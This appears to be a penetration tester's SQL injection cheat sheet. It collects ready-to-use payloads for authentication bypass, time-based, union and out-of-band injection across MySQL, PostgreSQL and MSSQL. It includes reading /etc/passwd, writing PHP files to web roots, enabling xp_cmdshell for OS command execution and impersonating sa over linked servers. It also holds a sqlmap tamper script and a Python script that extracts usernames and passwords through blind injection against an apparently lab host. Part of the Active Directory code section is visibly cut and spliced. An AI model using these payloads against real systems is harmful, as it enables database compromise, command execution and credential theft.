####### SQLi/DB ####### | https://portswigger.net/web-security/sql-injection/cheat-sheet | https://book.hacktricks.xyz/pentesting-web/sql-injection | https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/ | ****** Basics ****** .. code-block:: text 1 OR 1=1-- - 1' OR 1=1-- - 1" OR 1=1-- - admin'-- - | ********** Time Based ********** .. code-block:: text # MySQL exist' AND (select SLEEP(5))-- - doesntexist' OR 0 in (select sleep(15) ) -- - # PostgreSQL 1';SELECT PG_SLEEP(5)-- - exist' AND 1=(select 1 from PG_SLEEP(5))-- - 1';CREATE TABLE hack(a text);copy hack from program 'sleep 10';DROP TABLE IF EXISTS hack;-- - # MSSQL 1' WAITFOR DELAY '0:0:10'-- - 1';WAITFOR DELAY '0:0:10'-- - 1'; EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'ping 192.0.2.1 -n 1 -w 10000' -- - 1'; EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'powershell -c "Start-Sleep -Seconds 10"' -- - | ********** Read/Write ********** .. code-block:: text # MySQL select load_file('/etc/passwd'); select '' into OUTFILE '/var/www/html/test.php' " UNION SELECT NULL,NULL,'' into outfile 'C:\\xampp\\htdocs\\site1\\src\\test2.php' -- | ***** Union ***** .. code-block:: text doesnotexist' UNION SELECT 1,2,3,4,5,6;-- - 1' Union Select 'aaa','bbb','ccc','ddd','eee' -- - ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT 'abc',NULL,NULL-- ' UNION SELECT username, password FROM users-- ' UNION SELECT NULL,username||'~'||password FROM users-- # MySQL Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables | ************ XML Encoding ************ | You can convert chars to xml references such as numerical or hexadecimal values .. code-block:: bash # Hex echo -n 's' | xxd -plain | sed 's/\(..\)/\&#x\1;/g' echo -n 's' | python3 -c 'import sys;[print(f"&#x{ord(char):x};",end="") for char in sys.stdin.read()]' # Dec echo -n 's' | python3 -c 'import sys;[print(f"&#{ord(char)};",end="") for char in sys.stdin.read()]' # Example: s == s == s | | Payload example .. code-block:: text 1 union select NULL | ***** MSSQL ***** .. code-block:: powershell # Version SELECT @@version # Perms SELECT * FROM fn_my_permissions(NULL, 'SERVER'); # DBs SELECT name FROM master.sys.databases # Tables SELECT * FROM myamazingdb.INFORMATION_SCHEMA.TABLES # Exec EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'whoami' EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'ping 192.0.2.1 -n 1 -w 10000' # Current user SELECT * FROM (VALUES(USER_NAME(), SUSER_NAME(), ORIGINAL_LOGIN(), IS_SRVROLEMEMBER('sysadmin'), DEFAULT_DOMAIN())) AS q (DB_USR, SYS_USR, LOGIN_USR, ISADMIN, DOMAIN) # List users we can impersonate SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' # Linked servers SELECT srvname, isremote FROM sysservers; SELECT name,sysadmin FROM syslogins; EXECUTE('select user_name()') AT "OTHERSRV" EXECUTE('SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''') AT "PRIMARY" EXECUTE('EXECUTE AS LOGIN = ''sa'' EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''whoami'' ') AT "PRIMARY" # External scripts (python/r) EXECUTE sp_configure 'external scripts enabled', 1;RECONFIGURE;EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' | AD Enum ******* .. code-block:: bash SELECT master.dbo.fn_varbintohexstr(SUSER_SID(CONCAT(DEFAULT_DOMAIN(),'\',HOST_NAME(),'$'))) '0x0105000000000005150000001c00d1bcd181f1492bdfc236e8030000' | | Then remove the 8 last chars to get the domain sid. | And generate the SQL queries to retrieve all id from 1000 to 1300 (or higher) .. code-block:: python import struct domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236' def get_sid(n): user = struct.pack('/opt/sqlmap-dev/tamper/utf16.py from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Converts the SQL injection payload to UTF-16 encoding. """ retVal = "" if payload: for char in payload: retVal += r'\u00'+hex(ord(char))[2:] payload = retVal return payload EOF | ****** Script ****** | Automation of boolean SQLi .. code-block:: python #!/usr/bin/python3 import http.client import string import ssl import json host = "sub.host.htb" port = 443 url = "/search.php" lowercase = string.ascii_lowercase letters = string.ascii_letters digits = string.digits specials = "@{}-/()!\"$=^[]:;" charset = letters + digits + specials users=[] def sendreq(req: str) -> bool: # print(req) # Define headers headers = { 'Content-Type':'application/x-www-form-urlencoded', } # Create HTTP connection conn = http.client.HTTPSConnection(host, port, context = ssl._create_unverified_context()) # Send the request conn.request("POST", url, body=req, headers=headers) # Get the response response = conn.getresponse() data = response.read() # Close the connection conn.close() if response.status != 200: print(f"Found code {response.status} (req:{req})") return False if "Text when true" in data.decode("utf-8", errors="ignore"): return True return False def enumUsers(): def buildReqLike(user): concat="" for l in user: concat += f"'{l}'," return f"q=' and (select count(username) from users where username like CONCAT({concat[:-1]},'%')) > 0 -- -" def buildReqExact(user): concat="" for l in user: concat += f"'{l}'," return f"q=' and (select count(username) from users where username = CONCAT({concat[:-1]})) > 0 -- -" guessqueue=[""] while len(guessqueue) > 0: incomplete = guessqueue.pop() for char in lowercase: guess = incomplete + char # print(guess) if sendreq(buildReqLike(guess)): guessqueue.append(guess) if sendreq(buildReqExact(guess)): users.append(guess) print(f"FOUND : {guess}") else: print(f"INCOMPLETE : {guess}") print(json.dumps(users, indent=4)) def enumPasswords(): def buildReqLike(user,password): concatpass="" for l in password: concatpass += f"'{l}'," concatuser="" for l in user: concatuser += f"'{l}'," return f"q=' and (select count(password) from users where username = CONCAT({concatuser[:-1]}) and password like CONCAT({concatpass[:-1]},'%')) > 0 -- -" for user in users: print(str(f"{user}:"), end='', flush=True) incomplete = "" charset = digits + lowercase loop=True while loop: for char in charset: guess = incomplete + char if sendreq(buildReqLike(user,guess)): incomplete+=char print(str(char), end='', flush=True) break if char == charset[-1]: loop=False print() enumUsers() enumPasswords() |